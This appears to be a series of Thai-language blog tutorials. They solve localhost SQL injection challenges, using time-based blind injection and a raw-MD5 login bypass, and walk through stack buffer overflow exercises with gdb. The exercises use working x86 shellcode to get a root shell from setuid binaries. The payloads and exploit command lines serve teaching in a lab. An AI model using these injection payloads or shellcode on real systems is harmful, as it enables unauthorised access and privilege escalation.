44a86b4e2c89f87be46c3ad9f24128dc

สำหรับการดึง username นั้นผมขอให้เขียนเองนะครับ แค่เปลี่ยน charsets และต้อง check ด้วยว่าจบ string หรือยัง ด้วยการเปรียบกับ empty string ('') และเมื่อได้ข้อมูลมาทุกอย่าง เราก็ต้องทำการ crack md5 ซึ่งจะได้ password ออกมาเป็น tooeasy และเอาไป login


D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=tooeasy&username=admin"
Impossible to be here with SQL injection
Congrats, WIN!!!

จริงๆแล้ว ข้อนี้ผมตั้งโจทย์ผิด ตั้งใจจะให้ทำ totally blind sql injection แต่ดันทำให้ error มันต่างกัน ผมเลยขออธิบายวิธีทำ sql injection เมื่อ error มันเหมือนกันตลอดด้วย โดยสมมติว่าถ้ามี error อะไรก็แสดงแต่ "Invalid username or password"

ถ้า error เหมือนกัน เราไม่สามารถใช้วิธีข้างบนได้ วิธีที่จะใช้คือ"เวลา" ถ้าสิ่งที่เราต้องการเปรียบเทียบถูกก็ให้ return ค่ากลับมาช้าๆ ถ้าผิดก็ return ทันที โดยการที่ทำให้ MySQL return ค่ากลับมาช้าๆ นั้นสามารถใช้ SLEEP() ตามตัวอย่างต่อไปนี้


D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+UNION+SELECT+IF(id=1,SLEEP(5),1),2,3+FROM+members+WHERE+id=1%23"
Invalid username or password     <=== ใช้เวลาอย่างน้อย 5 วินาที

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+UNION+SELECT+IF(id=3,SLEEP(5),1),2,3+FROM+members+WHERE+id=3%23"
The number of rows is not 1

ถ้าใครลองทำตาม จะเห็นว่า request แรก ต้องใช้เวลาอย่างน้อย 5 วินาทีถึงจะได้ response แต่ใน request ที่สองจะได้กลับมาทันที วิธีการนี้จะมี reliable ต่ำกว่าการใช้ error เพราะ server อาจจะยุ่งอยู่ และ network มี latency หรือ round trip time ไม่แน่นอน ทำให้เราได้ response ช้า ทั้งๆที่น่าจะได้ response กลับมาทันที วิธีแก้ก็คือใส่ SLEEP() ให้เยอะหน่อย

สำหรับการดึง password ก็ใช้หลักการเดียวกัน โดยผมเขียนเป็น python code แล้ว (login_total_blind.py) ซึ่งถ้า run จะได้ผลเหมือนข้างบน แต่ใช้เวลามากกว่า ส่วนการดึง username ผมขอให้เขียนเองนะครับ

Note: SLEEP() มีใน MySQL() ตั้งแต่ version 5.0.12 ถ้า version ต่ำกว่า 5.0.12 ต้องใช้ BENCHMARK() (ดูตัวอย่างได้ใน code python ผม โดน comment ไว้อยู่)

ข้อ 4 ปัญหาของข้อนี้ คือการนำ raw md5 ไป query โดยไม่มีการ escape ก่อน สิ่งที่เราต้องทำก็คือ หาค่าที่เมื่อทำ md5 แล้วได้ค่าประมาณ "or 1=1#" เพื่อให้ SQL query ออกมามี row มากกว่า 0

ข้อจำกัดของข้อนี้คือ raw md5 มีขนาด 16 bytes ดังนั้นคำสั่งที่เราต้องการจะต้องมีความยาวไม่เกิน 16 ตัวอักษร แต่เพื่อที่จะโอกาสที่จะหาค่าของ md5 ที่ต้องการเจอ เราต้องทำให้สิ่งที่เราต้องการสั้นที่สุดเท่าที่จะสั้นได้ เรามาลองคำสั่ง SQL (ใน MySQL client) รูปแบบต่างๆ ที่ทำให้การ query ออกมาอย่างน้อย 1 row กันก่อนดีกว่า แล้วค่อยอธิบาย (ให้สังเกตด้วยนะครับผมใช้ double quote ไม่ใช่ single quote)


mysql> use thtutz;
Database changed
mysql> select * from members where password="" or 1=1;#"
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 44a86b4e2c89f87be46c3ad9f24128dc |
|  2 | junk     | invalid_hash                     |
+----+----------+----------------------------------+
2 rows in set (0.13 sec)

mysql> select * from members where password="" or 1;#"
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password=""||1;#"
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password="s"||"2gff"; # วิธีของทีม Kernel Sanders
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password="s"||"gff";
Empty set, 1 warning (0.00 sec)

mysql> select * from members where password="s"="v"; # วิธีของทีม Nibbles
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 44a86b4e2c89f87be46c3ad9f24128dc |
|  2 | junk     | invalid_hash                     |
+----+----------+----------------------------------+
2 rows in set, 2 warnings (0.00 sec)

มาเริ่มกันที่ query แรก คือแบบที่ใช้กันทั่วไป ต้องใช้ถึง 9 ตัวอักษร (" or 1=1#) ต่อมา query ที่สอง หลังจากการอ่าน MySQL document ผมเจอว่า MySQL นั้นจะถือตัวเลขที่ไม่ใช่ 0 เป็น true ดังนั้นแทนที่เราจะใช้ 1=1 เหลือใช้เพียงตัวเลขอะไรก็ได้ที่ไม่ใช่ 0 ก็จะต้องใช้ 7 ตัวอักษร (" or 1#)

ส่วน query ที่สามเป็นวิธีที่ผมใช้เพื่อแก้โจทย์นี้ จาก document อีกเช่นกัน MySQL สามารถใช้ || แทน or ได้ โดยเมื่อใช้ || แล้วไม่จำเป็นต้องมีช่องว่าง ทำให้ต้องใช้ 5 ตัวอักษร ("||1#) และเมื่อเขียน code โดยใช้ md5 จาก openssl จะได้ login_md5raw_1.c (compile กันเอาเองนะครับ อย่าลืม link กับ openssl ด้วย) ซึ่งของผมใช้เวลานานกว่า 30 นาที เมื่อผมเปลี่ยนโจทย์ให้ใช้ double quote (ผมไม่อยากรอ ไว้ดูของคนอื่นดีกว่า)

ใน code ของผม จะทำการ brute force ค่า binary ทุกค่าเนื่องจากการ request สามารถรับข้อมูลที่เป็น binary ได้ โดยทำการ request ไว้ดูในวิธีสุดท้ายทีเดียวเลยละักัน

ส่วน query ที่สี่นั้นเป็นวิธีของทีม Kernel Sanders โดยใช้หลักที่ว่า string ที่ขึ้นด้วยตัวเลขที่ไม่ใช่ 0 MySQL ถือว่าเป็น true และเพื่อให้ search หาได้เร็วขึ้นก็จะ search เพียงแค่ "||" แล้วค่อย check ตัวถัดไป โดย code ที่ดัดแปลงจากของผมคือ login_md5raw_2.c ซึ่งวิธีนี้ code ของผมก็ run นาน เมื่อเปลี่ยนมาใช้ double quote
Note: ทีม Kernel Sanders หาโดยใช้ตัวเลขอย่างเดียว ได้ผลลัพธ์คือ 129581926211651571912466741651878684928 (สำหรับ single quote ถ้าใครไปลองก็จะไม่ถูก)

ส่วน query สุดท้ายนั้นเป็นวิธีของทีม Nibbles เป็นวิธีที่สั้นที่สุด โดยเงื่อนไข where จะเป็น password="a"="z" ซึ่ง MySQL จะ parse เป็น (password="a")="z" ทำให้เป็น false="z" และเป็น false=false ซึ่งผลลัพธ์สุดท้ายกลายเป็น true แต่ string สุดท้ายต้องไม่ขึ้นต้นด้วยตัวเลข ซึ่งเมื่อผมเอามาใช้ใน code ผมคือ login_md5raw_3.c ซึ่ง run ไม่ถึงวินาที จะได้ผลลัพธ์คือ %ac%d6%04 และ python code ที่ผมเอามาจากทีม Nibbles โดยแก้ให้เป็นสำหรับ double quote (login_md5raw_3.py) โดยเป็นตัวเลขอย่างเดียวจาก python จะได้ 1319 โดยนำมา request ได้ตามนี้


password: acd604
password: %ac%d6%04
result: 223d0c22570c581b84a9301adad18739
result: "= "W X „ฉ0 ฺั‡9
D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli4.php?password=%ac%d6%04"
Congrats, WIN!!!

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli4.php?password=1319"
Congrats, WIN!!!

Note: ทีม Nibbles หาโดยใช้ตัวเลขอย่างเดียว ได้ผลลัพธ์คือ 1839431 (สำหรับ single quote ถ้าใครไปลองก็จะไม่ถูก)

สรุป

สิ่งที่ผมอยากจะให้เห็นการทำ sql injection จากโจทย์พวกนี้ โดยเฉพาะข้อ 3 กับ 4 คือ
- sql injection มันมีได้หลายรูปแบบ ในหลายๆครั้ง ต้องมีการดัดแปลง ดังนั้นสิ่งสำคัญคือต้องรู้ SQL แล้วนำไปประยุกต์ใช้เป็น
- ถ้า code มีปัญหาเรื่อง sql injection ส่วนมากก็จะทำ sql injection ได้ อย่างเช่นในข้อ 3 ถึงแม้จะมีการดักไว้ว่า username ที่ดึงมาจาก database ต้องตรงกับที่ใส่มา เราก็ใช้วิธี blind sql injection เพื่อดึงข้อมูลออกมาแทนได้
- อันนี้สำหรับ programmer คือถ้าเรามีการแปลง (transform) ข้อมูลก่อนที่จะนำเข้า database เช่นในข้อ 4 ให้ถือว่าเป็นข้อมูลที่ยังไม่ได้ตรวจสอบ (untrusted input) อาจจะมีอันตรายได้
- input ที่ใส่ไม่จำเป็นต้องเป็นตัวอักษรที่อ่านออกได้ ดังเวลาที่เขียน code หรือจะทำ sql injection ก็ควรที่จะคิดถึงข้อมูลประเภทนี้ด้วย
- โปรแกรมอาจจะใช้ double quote ใน SQL query เช่นในโจทย์ข้อ 4 ดังนั้นเวลาทำ sql injection ควรลองทดสอบทั้ง single quote และ double quote

Buffer Overflow ให้โปรแกรม spawn shell (โจทย์)

2011-01-09T20:38:00.000+07:00

หลังจากทำไป 2 แบบฝึกหัด ผมยังมีโจทย์ให้อีก 2 โจทย์ โดยไม่มีเฉลยนะครับ (ยังไงผมก็ไม่เฉลยนะ) ถ้าทำไม่ได้ แสดงว่ายังไม่เข้าใจเรื่องนี้จริงๆ

ข้อ1 (ex_06_5.c) ข้อนี้น่าจะทำได้ คล้ายๆกับแบบฝึกหัดเลย แต่อยากให้ลองใช้ gdb ดูตำแหน่งของตัวแปรต่างๆ ใน stack ด้วย


/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_5 ex_06_5.c
sudo su -c "chown root: ex_06_5;chmod 4755 ex_06_5"
*/
#include <stdio.h>
#include <string.h>

#define MAX_CPY 530

void vuln(char *d, char *s)
{
  unsigned long n = MAX_CPY;
  strncpy(d, s, n);
}

int main(int argc, char **argv)
{
  int i = 0;
  char c = 1;
  short s = -1;
  char buf[1];
  
  vuln(buf, argv[1]);

  return 0;
}

ข้อ2 (ex_06_6.c) ข้อนี้ต้องใช้ความรู้ Linux นิดหน่อย ถ้าใครเคยทำตามที่ผมให้ลอง คงไม่มีอะไรยาก


/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_6 ex_06_6.c
sudo su -c "chown root: ex_06_6;chmod 4755 ex_06_6"
*/
#include <stdio.h>
#include <string.h>

#define MAX_CPY 24

int main(int argc, char **argv)
{
  char buf[1];

  strncpy(buf, argv[1], MAX_CPY);

  return 0;
}

สำหรับข้อ2 ผมมี Hint ให้ สำหรับคนที่ลองทำแล้วทำไม่ได้จริงๆ เพียงแค่ drag mouse คลุมบรรทัดข้างล่าง
Hint: ใช้ env หรือ argv ช่วย

Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)

2011-01-08T23:14:00.000+07:00

มาทำกันอีกซักแบบฝึกหัด ครั้งนี้ผมใช้ sscanf ในการรับค่าจาก argv[1] ลองทำก่อนอ่านเฉลยนะครับ

แบบฝึกหัด2 (ex_06_4.c)


/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_4 ex_06_4.c
sudo su -c "chown root: ex_06_4;chmod 4755 ex_06_4"
*/
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buf[7];

  sscanf(buf, "%s", argv[1]);

  return 0;
}

ในแบบฝึกหัดนี้ ให้ใช้ shellcode สำหรับ execve อันนี้นะครับ


# execve("/bin/sh", { "/bin/sh", NULL }, NULL) 26 bytes
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x7b\x34\x70\xcd\x80"

เฉลย

จาก code น่าจะเห็นกันแล้วว่า buf มีขนาดแค่ 7 bytes เล็กอย่างนี้แล้วเราจะใส่ shellcode เข้าไปได้ไง???

สังเกตในแบบฝึกหัดที่1 มั้ยครับว่า ผมเขียนข้อมูลเกิน saved eip ไปด้วย สิ่งที่ผมอยากให้เห็นในแบบฝึกหัดนี้คือ นอกจากเราจะเขียน shellcode ใน buf เรายังสามารถเขียนไว้หลัง saved eip ด้วย ดังนั้นแทนที่เราจะหา address ของ buf ที่เป็นจุดเริ่มของ shellcode แล้ว เราก็ต้องหา address ถัดจาก address ที่เก็บ saved eip

ก่อนอื่น เรามา gdb หา address ของ saved eip กัน :)


$ gdb -q ./ex_06_4
Reading symbols from /home/worawit/tutz/ch06/ex_06_4...(no debugging symbols found)...done.
(gdb) disas main
... # ขอละ
   0x080483fa <+22>:    lea    0x19(%esp),%ecx  # buf อยู่ที่ address esp+0x19
   0x080483fe <+26>:    mov    %ecx,0x8(%esp)
   0x08048402 <+30>:    mov    %edx,0x4(%esp)
   0x08048406 <+34>:    mov    %eax,(%esp)
   0x08048409 <+37>:    call   0x8048310 <__isoc99_sscanf@plt>
... # ขอละ
(gdb) b *0x080483fa
Breakpoint 1 at 0x80483fa
(gdb) r `perl -e 'print "U"x200'`
Starting program: /home/worawit/tutz/ch06/ex_06_4 `perl -e 'print "U"x200'`

Breakpoint 1, 0x080483fa in main ()
(gdb) i f
Stack level 0, frame at 0xbffff650:
 eip = 0x80483fa in main; saved eip 0x154bd6
 Arglist at 0xbffff648, args:
 Locals at 0xbffff648, Previous frame s sp is 0xbffff650
 Saved registers:
  ebp at 0xbffff648, eip at 0xbffff64c  # <== ดู address ของ saved eip ตรงนี้
(gdb) q

ได้ address เริ่มของ shellcode เราแล้วคือ 0xbffff64c+4=0xbffff650 แต่สังเกตกันหรือเปล่าว่า buf อยู่ที่ address esp+0x19 จากที่ผมให้ลองก่อนจบในแบบฝึกหัดที่1 เพื่อให้เห็นเราต้องเขียนทับตัว saved eip ให้ตรงพอดี ดังนั้นเราจะต้องใส่ขยะลงไป 3 bytes เพื่อเลื่อนให้ address ที่เราจะเขียนทับ saved eip ตรงพอดี ตามรูป (ถ้าไม่เข้าใจ ลองใช้ gdb ช่วยดูค่าใน memory นะครับ)

ดังนั้น exploit ของเราจะเป็น


$ ./ex_06_4 `perl -e 'print "UUU" . "\x50\xf6\xff\xbf"x10 . "\x90"x200 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x7b\x34\x70\xcd\x80"'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

มีใครสงสัยมั้ยครับ ว่าทำไมผมเปลี่ยน execve shellcode และถ้าใครลอง shellcode เดิมดูจะเจอกับ Segmentation fault ไม่ว่าจะทำยังไงก็ตาม

เหตุผลก็คือ เพราะ sscanf() ครับ ลองอ่าน man ดู (คำสั่ง "man sscanf") จะเห็นว่า sscanf() จะอ่านข้อมูลจนถึง white-space characters หรือจบ string (NULL) และไปดูต่อที่ man ของ isspace() จะได้ว่า white-space characters คือตัวอักษร 0x09-0x0d เมื่อเราไปดู shellcode เก่าของเรา จะเห็นว่ามี 0x0b อยู่ ตัวนี้แหละครับที่ทำให้ไม่ได้

ในการเขียน exploit เกือบจะทุกครั้งที่ต้องมีการหาตัวษรที่ใช้ไม่ได้ (เรียกว่า bad chars) เนื่องจากถ้าใส่ไปจะทำให้โปรแกรมรับข้อมูลเราไม่หมด หรือตัวอักษรโดนเปลี่ยนเป็นตัวอื่น ซึ่งผมจะมีการพูดถึงเรื่อง bad chars อีกครั้งในหัวข้อการเขียน Linux x86 Shellcode

Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 1)

2011-01-08T15:00:00.138+07:00

หลังจากอ่านและลองทำตามมาแล้ว คราวนี้มาลองทำแบบฝึกหัดบ้าง ผมเขียนว่าแบบฝึกหัดแสดงว่า ถ้าใครอ่านมาตั้งแต่ต้นและเข้าใจ ก็น่าจะที่จะทำเองได้โดยไม่ต้องดูเฉลย (แต่ต้องคิดนิดหน่อย เพราะผมดัดแปลงแบบฝึกหัดนิดหน่อยให้ไม่เหมือนเดิม) มาดูแบบฝึกหัดข้อแรกกันเลยดีกว่า

แบบฝึกหัด1 (ex_06_3.c)


/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_3 ex_06_3.c
sudo su -c "chown root: ex_06_3;chmod 4755 ex_06_3"
*/
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buf[256];

  sprintf(buf, "%s", argv[1]);

  return 0;
}

ในแบบฝึกหัดนี้ ผมได้เปลี่ยน function จาก strcpy เป็น sprintf และผมได้เอา gcc option ออกไปตัวหนึ่งคือ -mpreferred-stack-boundary

option ที่ผมเอาออก คือกำหนดว่า stack alignment ว่าเป็นเท่าไร (ถ้าใครไม่เคยได้ยิน alignment อธิบายสั้นๆ ก็ byte alignment คืออยู่ที่ address ที่หารด้วย 1 ลงตัว word alignment คือที่หารด้วย 2 ลงตัว และ dword alignet คือหารด้วย 4 ลงตัว) โดยในตัวอย่างในหัวข้อก่อนหน้าผมได้ระบุว่าว่าเป็น 2²=4 bytes แต่ครั้งนี้ให้เป็น default คือ 2⁴=16 bytes ลอง disassemble ดูนะครับ จะเห็นความแตกต่าง

เฉลย

ก่อนจะเขียน exploit เรามาดูความแตกต่างจากการเอา option -mpreferred-stack-boundary ออกกันก่อนด้วย gdb


$ gdb -q ./ex_06_3
Reading symbols from /home/worawit/tutz/ch06/ex_06_3...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080483c4 <+0>:     push   %ebp
   0x080483c5 <+1>:     mov    %esp,%ebp
   0x080483c7 <+3>:     and    $0xfffffff0,%esp  # เพิ่มขึ้นมาใน function prologue เพื่อทำ stack alignment
   0x080483ca <+6>:     sub    $0x110,%esp    # จากเดิมที่ลบ 8 bytes สำหรับส่ง argument กลายเป็น 16 bytes
   0x080483d0 <+12>:    mov    0xc(%ebp),%eax
   0x080483d3 <+15>:    add    $0x4,%eax
   0x080483d6 <+18>:    mov    (%eax),%eax
   0x080483d8 <+20>:    mov    %eax,0x4(%esp)
   0x080483dc <+24>:    lea    0x10(%esp),%eax  # เก็บ address ของ buf ไว้ที่ eax สังเกตว่าใช้ esp ไม่ได้ใช้ ebp
   0x080483e0 <+28>:    mov    %eax,(%esp)
   0x080483e3 <+31>:    call   0x80482fc <strcpy@plt>
   0x080483e8 <+36>:    mov    $0x0,%eax
   0x080483ed <+41>:    leave
   0x080483ee <+42>:    ret
End of assembler dump.
(gdb) q

จะเห็นว่า "and $0xfffffff0,%esp" เพื่อทำให้ address ของ esp หารด้วย 16 ลงตัว แล้วก็ทำ "sub $0x110,%esp" เพื่อจอง memory สำหรับ local variables และ argument ที่จะส่ง แต่จะมีการปัดค่าขึ้นให้หารด้วย 16 ลงตัว

การ and ค่า esp เพื่อทำ stack alignment ทำให้โปรแกรมไม่สามารถใช้ ebp เพื่ออ้างถึง local variables ได้ และที่มีผลกระทบต่อการเขียน exploit คือเราไม่รู้ว่า ระยะห่างจาก buf ไปถึง saved eip เป็นเท่าไร เพราะมันสามารถเปลี่ยนแปลงได้

วิธีง่ายๆ ในการแก้ปัญหานี้ก็คือ เราจะใส่ address ที่จะเขียบทับ saved eip ต่อท้าย shellcode เยอะๆ ขอแค่ address ซักอันเขียนทับ saved eip ก็พอ ตามรูป

เมื่อได้ concept แล้ว ก็ถึงเวลาทำจริง เริ่มจากการหา address ของ buf


$ gdb -q ex_06_3
Reading symbols from /home/worawit/tutz/ch06/ex_06_3...(no debugging symbols found)...done.
(gdb) b *0x080483e3
Breakpoint 1 at 0x80483e3
(gdb) r `perl -e 'print "U"x200'`
Starting program: /home/worawit/tutz/ch06/ex_06_3 `perl -e 'print "U"x200'`

Breakpoint 1, 0x080483e3 in main ()
(gdb) x/x $esp+0x10
0xbffff540:     0x0000002c
(gdb) q

ได้ address ของ buf คือ 0xbffff540 ก็ถึงเวลา exploit โดยผมจะใส่ address ของ buf ไปทั้งหมด 10 ครั้ง คือเขียนเกิน saved eip ไปเลย เพื่อให้แน่ใจว่าโดนเขียนทับแน่ๆ แต่ที่สำคัญที่สุดคือ address ของ buf ต้องเขียนทับตรง block ของ saved eip


# nop (206 bytes) + setreuid (10 bytes) + execve (24 bytes)
$ ./ex_06_3 `perl -e 'print "\x90"x206 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x40\xf5\xff\xbf"x10'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

ได้แล้ว ง่ายมั้ยครับ แต่ผมอยากให้ลองเพิ่มเองอีกหน่อยคือ แก้จำนวนของ nop ให้เป็น 207,208,209 ดู มันจะเกิด segmentation fault แล้วถ้าไม่เข้าใจว่าทำไม ก็ให้ลองทำใน gdb นะครับ

Buffer Overflow ให้โปรแกรม spawn shell

2011-01-03T21:02:00.001+07:00

จากตัวอย่างในหัวข้อ "GDB เบื้องต้น" จะเห็นว่าถ้าเราใส่ input เข้าไปยาวๆ จะมีการเขียนทับ saved eip ด้วย หลังจากคำสั่ง strcpy ตามรูปข้างล่าง (เลขทั้งหมดเป็นฐาน 16 นะครับ) ทำให้หลังจากจบ function main แล้ว EIP ของโปรแกรมชี้ไปที่ 0x55555555 แสดงให้เห็นว่าเราสามารถสั่งให้โปรแกรมไปทำงานที่ไหนก็ได้ และก่อนจะเริ่มผมขอย้ำอีกครั้งว่าให้ทำตาม อย่าเอาแต่อ่าน เรื่องพวกนี้จะให้เก่งต้องทำนะครับ

Note: ค่า address ที่ผมแสดง เป็น address ที่อยู่ในเครื่องของผม ซึ่งอาจจะไม่ตรงกับเครื่องอื่นๆ ดังนั้น ถ้าเห็นว่าไม่ตรง ก็ต้องแก้ไขการใส่ค่า address ต่างๆ ด้วย

เรามาดูตัวอย่างแรกกัน (ex_06_1.c) วิธี compile อยู่ที่หัวของไฟล์ (ตั้งแต่นี้ไป ดูวิธี compile เอาเองที่หัวของไฟล์นะครับ)


/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_06_1 ex_06_1.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int hidden_fn()
{
  printf("You WIN\n");
  exit(0);
}

int main(int argc, char **argv)
{
  char buf[8];

  printf("Address of hidden_fn: %p\n", hidden_fn);
  strcpy(buf, argv[1]);

  return 0;
}

เป้าหมายของตัวอย่างนี้ ชัดเจนนะครับ คือให้เรียก hidden_fn() ให้ได้ เรามาลอง gdb กันก่อน


$ gdb -q ./ex_06_1
Reading symbols from /home/worawit/tutz/ch06/ex_06_1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048482 <+0>:     push   %ebp
   0x08048483 <+1>:     mov    %esp,%ebp
   0x08048485 <+3>:     sub    $0x10,%esp
   0x08048488 <+6>:     mov    $0x8048588,%eax
   0x0804848d <+11>:    movl   $0x8048464,0x4(%esp)
   0x08048495 <+19>:    mov    %eax,(%esp)
   0x08048498 <+22>:    call   0x8048378 
   0x0804849d <+27>:    mov    0xc(%ebp),%eax
   0x080484a0 <+30>:    add    $0x4,%eax
   0x080484a3 <+33>:    mov    (%eax),%eax
   0x080484a5 <+35>:    mov    %eax,0x4(%esp)
   0x080484a9 <+39>:    lea    -0x8(%ebp),%eax   # โหลด address ของ buf ที่ address ebp-8
   0x080484ac <+42>:    mov    %eax,(%esp)
   0x080484af <+45>:    call   0x8048368 
   0x080484b4 <+50>:    mov    $0x0,%eax
   0x080484b9 <+55>:    leave
   0x080484ba <+56>:    ret
End of assembler dump.
(gdb) b *0x080484af    # set breakpoint ก่อนเรียก strcpy
Breakpoint 1 at 0x80484af
(gdb) r UUUUUUUU
Starting program: /home/worawit/tutz/ch06/ex_06_1 UUUUUUUU
Address of hidden_fn: 0x8048464

Breakpoint 1, 0x080484af in main ()
(gdb) i f
Stack level 0, frame at 0xbffff710:
 eip = 0x80484af in main; saved eip 0x154bd6
 Arglist at 0xbffff708, args:
 Locals at 0xbffff708, Previous frame s sp is 0xbffff710
 Saved registers:
  ebp at 0xbffff708, eip at 0xbffff70c     # จำ address ของ saved eip ไว้
(gdb) x/8x $ebp-8      # ดูค่าตั้งแต่ address ของ buf
0xbffff700:     0x080484d0      0x00000000      0xbffff788      0x00154bd6
0xbffff710:     0x00000002      0xbffff7b4      0xbffff7c0      0x0012f858
(gdb) ni
0x080484b4 in main ()
(gdb) x/8x $ebp-8      # จะเห็นว่าถ้าจะเขียนทับ eip ต้องใส่ input ไปทั้งหมด 16 bytes
0xbffff700:     0x55555555      0x55555555      0xbffff700      0x00154bd6
0xbffff710:     0x00000002      0xbffff7b4      0xbffff7c0      0x0012f858
(gdb) r UUUUUUUUUUUUABCD     # ลองดู
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/worawit/tutz/ch06/ex_06_1 UUUUUUUUUUUUABCD
Address of hidden_fn: 0x8048464

Breakpoint 1, 0x080484af in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r eip    # จะเห็นค่า eip เปลี่ยนเป็น 0x44434241 คือ DCBA เพราะเรื่องของ endian
eip            0x44434241       0x44434241
(gdb) q
A debugging session is active.

        Inferior 1 [process 1413] will be killed.

Quit anyway? (y or n) y

จะเห็นว่าถ้าต้องการเปลี่ยนค่า saved eip ต้องใส่ข้อมูลอย่างน้อย 16 bytes โดยข้อมูล byte ที่ 12 ถึง 16 จะเป็น saved eip ที่เราต้องการจะเป็น

จาก output ของโปรแกรม address ของ hidden_fn คือ 0x8048464 แต่ตัวอักษรของค่าพวกนี้ เราพิมพ์ไม่ได้ ดังนั้นผมจะใช้ perl มาช่วย โดยจะได้คำสั่งตามนี้


$ ./ex_06_1 `perl -e 'print "U"x12 . "\x64\x84\x04\x08"'`
Address of hidden_fn: 0x8048464
You WIN

เย่ ทำได้แล้ว ให้สังเกตเรื่อง endian ด้วยนะครับ ว่าผมใส่ \x64 เป็นตัวแรก และ \x08 เป็นตัวสุดท้าย

ตัวอย่างข้างบน เราได้ทำให้โปรแกรมรัน function ที่ซ่อนไว้อยู่ แต่โดยปกตินั้น เราต้องมีการแทรก code ที่ทำงานตามที่เราต้องการ (เรียกว่า shellcode) แล้วเรียก shellcode ของเรา โดยการควบคุมค่า eip

แต่คราวนี้ผมขอเปลี่ยนขนาดของ buf เป็น 256 bytes (ex_06_2.c) (ไม่แสดง code นะครับ จะได้ไม่ยาวเกิน) และให้ 2 shellcode ต่อไปนี้ (จะมีคำอธิบายพร้อมทั้งทำให้เล็กลงในหัวข้อการเขียน Linux Shellcode)


# setreuid(0, 0)  10 bytes
\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80
# execve("/bin/sh", { "/bin/sh", NULL }, NULL) 24 bytes (เอามาจากไหนไม่รู้ จำไม่ได้แล้ว)
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80

หลังจาก compile อย่าลืมคำสั่งต่อไปนี้นะครับ


$ sudo su -c "chown root: ex_06_2;chmod 4755 ex_06_2"

ก่อนจะเริ่มทำ ลองคิดตามผมดูว่า ครั้งนี้เราต้องทำการแทรก shellcode (inject shellcode) แล้วเปลี่ยนค่า eip ไปที่ shellcode ของเรา แล้วเราจะ inject shellcode ไปที่ไหนดี

ที่เห็นชัดเจนที่สุดก็คือที่ buf ในโปรแกรมนั้นแหละ (จริงๆ แล้วที่ไหนก็ได้ใน memory) แล้ว buf มัน address อะไรละ อย่างงี้เราต้องมา gdb หากัน ลุย


$ gdb -q ./ex_06_2
Reading symbols from /home/worawit/tutz/ch06/ex_06_2...(no debugging symbols found)...done.
(gdb) disas main
... # ขอละ จะได้ไม่ยาว
   0x080483d9 <+21>:    lea    -0x100(%ebp),%eax   # buf อยู่ที่ ebp+100
   0x080483df <+27>:    mov    %eax,(%esp)
   0x080483e2 <+30>:    call   0x80482fc 
... # ขอละ จะได้ไม่ยาว
(gdb) b *0x080483e2
Breakpoint 1 at 0x80483e2
(gdb) r AAAA
Starting program: /home/worawit/tutz/ch06/ex_06_2 AAAA

Breakpoint 1, 0x080483e2 in main ()
(gdb) x/x $ebp-0x100
0xbffff608:     0x00000006    # ได้ address ของ buf มาแล้ว 0xbffff608
(gdb) q
... # ขอละ จะได้ไม่ยาว

เราได้ข้อมูลทุกอย่างแล้ว buf ที่ address 0xbffff608 และ saved eip อยู่ห่างจาก buf 256+4=260 bytes (4 bytes คือ saved ebp) และ shellcode เราก็มีแล้ว แค่เอามาต่อกัน (ใน bash ต้องมีการเรียก setreuid ก่อน execve เพราะ bash จะ set ค่า euid เป็น uid ก่อนทำ execve) ตามนี้


# setreuid 10 bytes + execve 24 bytes + junk (260-10-24=226)
$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x08\xf6\xff\xbf"'`
Segmentation fault

